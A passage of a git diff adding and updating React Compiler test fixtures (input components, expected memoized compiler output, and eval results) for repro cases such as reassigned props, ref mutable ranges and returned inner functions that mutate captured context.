+          yejarlvudihqdrdgpvahovggdnmgnueedxpbwbkdvvkdhqwrtoiual
+        </c14>
+      )}
+      hflmn
+    </ComponentC>
+  );
+  return vb;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.expect.md
new file mode 100644
index 000000000000..19c85c943e71
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+import {Stringify, useIdentity} from 'shared-runtime';
+
+function Component({other, ...props}, ref) {
+  [props, ref] = useIdentity([props, ref]);
+  return <Stringify props={props} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 'hello', children: <div>Hello</div>}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, useIdentity } from "shared-runtime";
+
+function Component(t0, ref) {
+  const $ = _c(7);
+  let props;
+  if ($[0] !== t0) {
+    let { other, ...t1 } = t0;
+    props = t1;
+    $[0] = t0;
+    $[1] = props;
+  } else {
+    props = $[1];
+  }
+  let t1;
+  if ($[2] !== props || $[3] !== ref) {
+    t1 = [props, ref];
+    $[2] = props;
+    $[3] = ref;
+    $[4] = t1;
+  } else {
+    t1 = $[4];
+  }
+  [props, ref] = useIdentity(t1);
+  let t2;
+  if ($[5] !== props) {
+    t2 = <Stringify props={props} />;
+    $[5] = props;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: "hello", children: <div>Hello</div> }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"props":{"a":0,"b":"hello","children":{"type":"div","key":null,"props":{"children":"Hello"},"_owner":"[[ cyclic ref *3 ]]","_store":{}}}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.js
new file mode 100644
index 000000000000..329000aedb08
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-reassign-props.js
@@ -0,0 +1,11 @@
+import {Stringify, useIdentity} from 'shared-runtime';
+
+function Component({other, ...props}, ref) {
+  [props, ref] = useIdentity([props, ref]);
+  return <Stringify props={props} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 'hello', children: <div>Hello</div>}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.expect.md
new file mode 100644
index 000000000000..533897ffc164
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.expect.md
@@ -0,0 +1,90 @@
+
+## Input
+
+```javascript
+import {Stringify, identity, mutate, CONST_TRUE} from 'shared-runtime';
+
+function Foo(props, ref) {
+  const value = {};
+  if (CONST_TRUE) {
+    mutate(value);
+    return <Stringify ref={ref} />;
+  }
+  mutate(value);
+  if (CONST_TRUE) {
+    return <Stringify ref={identity(ref)} />;
+  }
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}, {current: 'fake-ref-object'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify, identity, mutate, CONST_TRUE } from "shared-runtime";
+
+function Foo(props, ref) {
+  const $ = _c(7);
+  let t0;
+  let value;
+  if ($[0] !== ref) {
+    t0 = Symbol.for("react.early_return_sentinel");
+    bb0: {
+      value = {};
+      if (CONST_TRUE) {
+        mutate(value);
+        t0 = <Stringify ref={ref} />;
+        break bb0;
+      }
+
+      mutate(value);
+    }
+    $[0] = ref;
+    $[1] = t0;
+    $[2] = value;
+  } else {
+    t0 = $[1];
+    value = $[2];
+  }
+  if (t0 !== Symbol.for("react.early_return_sentinel")) {
+    return t0;
+  }
+  if (CONST_TRUE) {
+    let t1;
+    if ($[3] !== ref) {
+      t1 = identity(ref);
+      $[3] = ref;
+      $[4] = t1;
+    } else {
+      t1 = $[4];
+    }
+    let t2;
+    if ($[5] !== t1) {
+      t2 = <Stringify ref={t1} />;
+      $[5] = t1;
+      $[6] = t2;
+    } else {
+      t2 = $[6];
+    }
+    return t2;
+  }
+
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}, { current: "fake-ref-object" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"ref":{"current":"fake-ref-object"}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.tsx
new file mode 100644
index 000000000000..fc52ce676695
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-ref-mutable-range.tsx
@@ -0,0 +1,19 @@
+import {Stringify, identity, mutate, CONST_TRUE} from 'shared-runtime';
+
+function Foo(props, ref) {
+  const value = {};
+  if (CONST_TRUE) {
+    mutate(value);
+    return <Stringify ref={ref} />;
+  }
+  mutate(value);
+  if (CONST_TRUE) {
+    return <Stringify ref={identity(ref)} />;
+  }
+  return value;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{}, {current: 'fake-ref-object'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.expect.md
index 686752f9fddd..8a56a4647476 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.expect.md
@@ -2,8 +2,9 @@
 ## Input
 
 ```javascript
-import { Stringify, identity, makeArray, toJSON } from "shared-runtime";
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false
+import {Stringify, identity, makeArray, toJSON} from 'shared-runtime';
+import {useMemo} from 'react';
 
 function Component(props) {
   const propsString = useMemo(() => toJSON(props), [props]);
@@ -24,8 +25,7 @@ function Component(props) {
       val2={[2]}
       val3={[3]}
       val4={[4]}
-      val5={[5]}
-    >
+      val5={[5]}>
       {makeArray(x, 2)}
     </Stringify>
   );
@@ -33,7 +33,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ val: 2 }],
+  params: [{val: 2}],
 };
 
 ```
@@ -41,92 +41,79 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
 import { Stringify, identity, makeArray, toJSON } from "shared-runtime";
 import { useMemo } from "react";
 
 function Component(props) {
-  const $ = _c(13);
+  const $ = _c(10);
   let t0;
   let t1;
-  let t2;
   if ($[0] !== props) {
-    t2 = Symbol.for("react.early_return_sentinel");
+    t1 = Symbol.for("react.early_return_sentinel");
     bb0: {
-      t0 = toJSON(props);
-      const propsString = t0;
+      const propsString = toJSON(props);
       if (propsString.length <= 2) {
-        t2 = null;
+        t1 = null;
         break bb0;
       }
-
-      t1 = identity(propsString);
+      t0 = identity(propsString);
     }
     $[0] = props;
-    $[1] = t1;
-    $[2] = t2;
-    $[3] = t0;
+    $[1] = t0;
+    $[2] = t1;
   } else {
-    t1 = $[1];
-    t2 = $[2];
-    t0 = $[3];
-  }
-  if (t2 !== Symbol.for("react.early_return_sentinel")) {
-    return t2;
+    t0 = $[1];
+    t1 = $[2];
   }
-  let t3;
-  if ($[4] !== t1) {
-    t3 = { url: t1 };
-    $[4] = t1;
-    $[5] = t3;
-  } else {
-    t3 = $[5];
+  if (t1 !== Symbol.for("react.early_return_sentinel")) {
+    return t1;
   }
-  const linkProps = t3;
-  let t4;
-  if ($[6] !== linkProps) {
+  let t2;
+  if ($[3] !== t0) {
+    const linkProps = { url: t0 };
     const x = {};
+    let t3;
+    let t4;
     let t5;
     let t6;
     let t7;
-    let t8;
-    let t9;
-    if ($[8] === Symbol.for("react.memo_cache_sentinel")) {
-      t5 = [1];
-      t6 = [2];
-      t7 = [3];
-      t8 = [4];
-      t9 = [5];
-      $[8] = t5;
-      $[9] = t6;
-      $[10] = t7;
-      $[11] = t8;
-      $[12] = t9;
+    if ($[5] === Symbol.for("react.memo_cache_sentinel")) {
+      t3 = [1];
+      t4 = [2];
+      t5 = [3];
+      t6 = [4];
+      t7 = [5];
+      $[5] = t3;
+      $[6] = t4;
+      $[7] = t5;
+      $[8] = t6;
+      $[9] = t7;
     } else {
-      t5 = $[8];
-      t6 = $[9];
-      t7 = $[10];
-      t8 = $[11];
-      t9 = $[12];
+      t3 = $[5];
+      t4 = $[6];
+      t5 = $[7];
+      t6 = $[8];
+      t7 = $[9];
     }
-    t4 = (
+    t2 = (
       <Stringify
         link={linkProps}
-        val1={t5}
-        val2={t6}
-        val3={t7}
-        val4={t8}
-        val5={t9}
+        val1={t3}
+        val2={t4}
+        val3={t5}
+        val4={t6}
+        val5={t7}
       >
         {makeArray(x, 2)}
       </Stringify>
     );
-    $[6] = linkProps;
-    $[7] = t4;
+    $[3] = t0;
+    $[4] = t2;
   } else {
-    t4 = $[7];
+    t2 = $[4];
   }
-  return t4;
+  return t2;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.js
index e57402370641..139be81a6c3b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-renaming-conflicting-decls.js
@@ -1,5 +1,6 @@
-import { Stringify, identity, makeArray, toJSON } from "shared-runtime";
-import { useMemo } from "react";
+// @enablePreserveExistingMemoizationGuarantees:false
+import {Stringify, identity, makeArray, toJSON} from 'shared-runtime';
+import {useMemo} from 'react';
 
 function Component(props) {
   const propsString = useMemo(() => toJSON(props), [props]);
@@ -20,8 +21,7 @@ function Component(props) {
       val2={[2]}
       val3={[3]}
       val4={[4]}
-      val5={[5]}
-    >
+      val5={[5]}>
       {makeArray(x, 2)}
     </Stringify>
   );
@@ -29,5 +29,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ val: 2 }],
+  params: [{val: 2}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.expect.md
index 156c8f194f1b..a153a5cf746e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.expect.md
@@ -2,8 +2,8 @@
 ## Input
 
 ```javascript
-// @panicThreshold(none)
-import { useNoAlias } from "shared-runtime";
+// @panicThreshold:"none"
+import {useNoAlias} from 'shared-runtime';
 
 const cond = true;
 function useFoo(props) {
@@ -12,7 +12,7 @@ function useFoo(props) {
   return useNoAlias({});
 
   function bar() {
-    console.log("bar called");
+    console.log('bar called');
     return 5;
   }
 }
@@ -27,7 +27,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @panicThreshold(none)
+// @panicThreshold:"none"
 import { useNoAlias } from "shared-runtime";
 
 const cond = true;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.js
index 1a0b0e7f2e23..fc96e1435f7a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-retain-source-when-bailout.js
@@ -1,5 +1,5 @@
-// @panicThreshold(none)
-import { useNoAlias } from "shared-runtime";
+// @panicThreshold:"none"
+import {useNoAlias} from 'shared-runtime';
 
 const cond = true;
 function useFoo(props) {
@@ -8,7 +8,7 @@ function useFoo(props) {
   return useNoAlias({});
 
   function bar() {
-    console.log("bar called");
+    console.log('bar called');
     return 5;
   }
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.expect.md
new file mode 100644
index 000000000000..5ba1dbd7804d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.expect.md
@@ -0,0 +1,91 @@
+
+## Input
+
+```javascript
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ */
+function Foo({a, b}) {
+  'use memo';
+  const obj = {};
+  const updaterFactory = () => {
+    /**
+     * This returned function expression *is* a local value. But it might (1)
+     * capture and mutate its context environment and (2) be called during
+     * render.
+     * Typing it with `freeze` effects would be incorrect as it would mean
+     * inferring that calls to updaterFactory()() do not mutate its captured
+     * context.
+     */
+    return newValue => {
+      obj.value = newValue;
+      obj.a = a;
+    };
+  };
+
+  const updater = updaterFactory();
+  updater(b);
+  return <Stringify cb={obj} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: 1, b: 2}],
+  sequentialRenders: [
+    {a: 1, b: 2},
+    {a: 1, b: 3},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { Stringify } from "shared-runtime";
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ */
+function Foo(t0) {
+  "use memo";
+  const $ = _c(3);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b) {
+    const obj = {};
+    const updaterFactory = () => (newValue) => {
+      obj.value = newValue;
+      obj.a = a;
+    };
+    const updater = updaterFactory();
+    updater(b);
+    t1 = <Stringify cb={obj} shouldInvokeFns={true} />;
+    $[0] = a;
+    $[1] = b;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ a: 1, b: 2 }],
+  sequentialRenders: [
+    { a: 1, b: 2 },
+    { a: 1, b: 3 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"value":2,"a":1},"shouldInvokeFns":true}</div>
+<div>{"cb":{"value":3,"a":1},"shouldInvokeFns":true}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.js
new file mode 100644
index 000000000000..e5bd4a9b8c75
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-mutates-context.js
@@ -0,0 +1,37 @@
+import {Stringify} from 'shared-runtime';
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ */
+function Foo({a, b}) {
+  'use memo';
+  const obj = {};
+  const updaterFactory = () => {
+    /**
+     * This returned function expression *is* a local value. But it might (1)
+     * capture and mutate its context environment and (2) be called during
+     * render.
+     * Typing it with `freeze` effects would be incorrect as it would mean
+     * inferring that calls to updaterFactory()() do not mutate its captured
+     * context.
+     */
+    return newValue => {
+      obj.value = newValue;
+      obj.a = a;
+    };
+  };
+
+  const updater = updaterFactory();
+  updater(b);
+  return <Stringify cb={obj} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{a: 1, b: 2}],
+  sequentialRenders: [
+    {a: 1, b: 2},
+    {a: 1, b: 3},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.expect.md
new file mode 100644
index 000000000000..690c21f0efc8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.expect.md
@@ -0,0 +1,99 @@
+
+## Input
+
+```javascript
+import {makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ * Also see repro-returned-inner-fn-mutates-context
+ */
+function Foo({b}) {
+  'use memo';
+
+  const fnFactory = () => {
+    /**
+     * This returned function expression *is* a local value. But it might (1)
+     * capture and mutate its context environment and (2) be called during
+     * render.
+     * Typing it with `freeze` effects would be incorrect as it would mean
+     * inferring that calls to updaterFactory()() do not mutate its captured
+     * context.
+     */
+    return () => {
+      myVar = () => console.log('a');
+    };
+  };
+  let myVar = () => console.log('b');
+  useIdentity();
+
+  const fn = fnFactory();
+  const arr = makeArray(b);
+  fn(arr);
+  return <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{b: 1}],
+  sequentialRenders: [{b: 1}, {b: 2}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeArray, Stringify, useIdentity } from "shared-runtime";
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ * Also see repro-returned-inner-fn-mutates-context
+ */
+function Foo(t0) {
+  "use memo";
+  const $ = _c(3);
+  const { b } = t0;
+
+  const fnFactory = () => () => {
+    myVar = _temp;
+  };
+  let myVar = _temp2;
+  useIdentity();
+
+  const fn = fnFactory();
+  const arr = makeArray(b);
+  fn(arr);
+  let t1;
+  if ($[0] !== arr || $[1] !== myVar) {
+    t1 = <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;
+    $[0] = arr;
+    $[1] = myVar;
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  return t1;
+}
+function _temp2() {
+  return console.log("b");
+}
+function _temp() {
+  return console.log("a");
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ b: 1 }],
+  sequentialRenders: [{ b: 1 }, { b: 2 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"cb":{"kind":"Function"},"value":[1],"shouldInvokeFns":true}</div>
+<div>{"cb":{"kind":"Function"},"value":[2],"shouldInvokeFns":true}</div>
+logs: ['a','a']
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.js
new file mode 100644
index 000000000000..00bb694b3404
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-returned-inner-fn-reassigns-context.js
@@ -0,0 +1,37 @@
+import {makeArray, Stringify, useIdentity} from 'shared-runtime';
+
+/**
+ * Example showing that returned inner function expressions should not be
+ * typed with `freeze` effects.
+ * Also see repro-returned-inner-fn-mutates-context
+ */
+function Foo({b}) {
+  'use memo';
+
+  const fnFactory = () => {
+    /**
+     * This returned function expression *is* a local value. But it might (1)
+     * capture and mutate its context environment and (2) be called during
+     * render.
+     * Typing it with `freeze` effects would be incorrect as it would mean
+     * inferring that calls to updaterFactory()() do not mutate its captured
+     * context.
+     */
+    return () => {
+      myVar = () => console.log('a');
+    };
+  };
+  let myVar = () => console.log('b');
+  useIdentity();
+
+  const fn = fnFactory();
+  const arr = makeArray(b);
+  fn(arr);
+  return <Stringify cb={myVar} value={arr} shouldInvokeFns={true} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{b: 1}],
+  sequentialRenders: [{b: 1}, {b: 2}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.expect.md
index bb8c67482cb8..b7c425ba5c02 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.expect.md
@@ -6,7 +6,7 @@ function HomeDiscoStoreItemTileRating(props) {
   const item = useFragment();
   let count = 0;
   const aggregates = item?.aggregates || [];
-  aggregates.forEach((aggregate) => {
+  aggregates.forEach(aggregate => {
     count += aggregate.count || 0;
   });
 
@@ -23,29 +23,27 @@ function HomeDiscoStoreItemTileRating(props) {
   const $ = _c(4);
   const item = useFragment();
   let count;
-  if ($[0] !== item) {
+  if ($[0] !== item?.aggregates) {
     count = 0;
     const aggregates = item?.aggregates || [];
     aggregates.forEach((aggregate) => {
       count = count + (aggregate.count || 0);
       count;
     });
-    $[0] = item;
+    $[0] = item?.aggregates;
     $[1] = count;
   } else {
     count = $[1];
   }
-
-  const t0 = count;
-  let t1;
-  if ($[2] !== t0) {
-    t1 = <Text>{t0}</Text>;
-    $[2] = t0;
-    $[3] = t1;
+  let t0;
+  if ($[2] !== count) {
+    t0 = <Text>{count}</Text>;
+    $[2] = count;
+    $[3] = t0;
   } else {
-    t1 = $[3];
+    t0 = $[3];
   }
-  return t1;
+  return t0;
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.js
index de75ef7270e7..3708b96783ac 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-scope-missing-mutable-range.js
@@ -2,7 +2,7 @@ function HomeDiscoStoreItemTileRating(props) {
   const item = useFragment();
   let count = 0;
   const aggregates = item?.aggregates || [];
-  aggregates.forEach((aggregate) => {
+  aggregates.forEach(aggregate => {
     count += aggregate.count || 0;
   });
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.expect.md
new file mode 100644
index 000000000000..434cbaa908d7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.expect.md
@@ -0,0 +1,149 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+import {ValidateMemoization} from 'shared-runtime';
+
+const Codes = {
+  en: {name: 'English'},
+  ja: {name: 'Japanese'},
+  ko: {name: 'Korean'},
+  zh: {name: 'Chinese'},
+};
+
+function Component(a) {
+  let keys;
+  if (a) {
+    keys = Object.keys(Codes);
+  } else {
+    return null;
+  }
+  const options = keys.map(code => {
+    // In the old inference model, `keys` was assumed to be mutated bc
+    // this callback captures its input into its output, and the return
+    // is treated as a mutation since it's a function expression. The new
+    // model understands that `code` is captured but not mutated.
+    const country = Codes[code];
+    return {
+      name: country.name,
+      code,
+    };
+  });
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[]}
+        output={options}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: false}],
+  sequentialRenders: [
+    {a: false},
+    {a: true},
+    {a: true},
+    {a: false},
+    {a: true},
+    {a: false},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+import { ValidateMemoization } from "shared-runtime";
+
+const Codes = {
+  en: { name: "English" },
+  ja: { name: "Japanese" },
+  ko: { name: "Korean" },
+  zh: { name: "Chinese" },
+};
+
+function Component(a) {
+  const $ = _c(4);
+  let keys;
+  if (a) {
+    let t0;
+    if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+      t0 = Object.keys(Codes);
+      $[0] = t0;
+    } else {
+      t0 = $[0];
+    }
+    keys = t0;
+  } else {
+    return null;
+  }
+  let t0;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = keys.map(_temp);
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  const options = t0;
+  let t1;
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+    );
+    $[2] = t1;
+  } else {
+    t1 = $[2];
+  }
+  let t2;
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
+    t2 = (
+      <>
+        {t1}
+        <ValidateMemoization
+          inputs={[]}
+          output={options}
+          onlyCheckCompiled={true}
+        />
+      </>
+    );
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  return t2;
+}
+function _temp(code) {
+  const country = Codes[code];
+  return { name: country.name, code };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: false }],
+  sequentialRenders: [
+    { a: false },
+    { a: true },
+    { a: true },
+    { a: false },
+    { a: true },
+    { a: false },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
+<div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
+<div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
+<div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
+<div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
+<div>{"inputs":[],"output":["en","ja","ko","zh"]}</div><div>{"inputs":[],"output":[{"name":"English","code":"en"},{"name":"Japanese","code":"ja"},{"name":"Korean","code":"ko"},{"name":"Chinese","code":"zh"}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.js
new file mode 100644
index 000000000000..11aaeb945080
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/repro-separate-memoization-due-to-callback-capturing.js
@@ -0,0 +1,52 @@
+// @enableNewMutationAliasingModel
+import {ValidateMemoization} from 'shared-runtime';
+
+const Codes = {
+  en: {name: 'English'},
+  ja: {name: 'Japanese'},
+  ko: {name: 'Korean'},
+  zh: {name: 'Chinese'},
+};
+
+function Component(a) {
+  let keys;
+  if (a) {
+    keys = Object.keys(Codes);
+  } else {
+    return null;
+  }
+  const options = keys.map(code => {
+    // In the old inference model, `keys` was assumed to be mutated bc
+    // this callback captures its input into its output, and the return
+    // is treated as a mutation since it's a function expression. The new
+    // model understands that `code` is captured but not mutated.
+    const country = Codes[code];
+    return {
+      name: country.name,
+      code,
+    };
+  });
+  return (
+    <>
+      <ValidateMemoization inputs={[]} output={keys} onlyCheckCompiled={true} />
+      <ValidateMemoization
+        inputs={[]}
+        output={options}
+        onlyCheckCompiled={true}
+      />
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: false}],
+  sequentialRenders: [
+    {a: false},
+    {a: true},
+    {a: true},
+    {a: false},
+    {a: true},
+    {a: false},
+  ],
+};
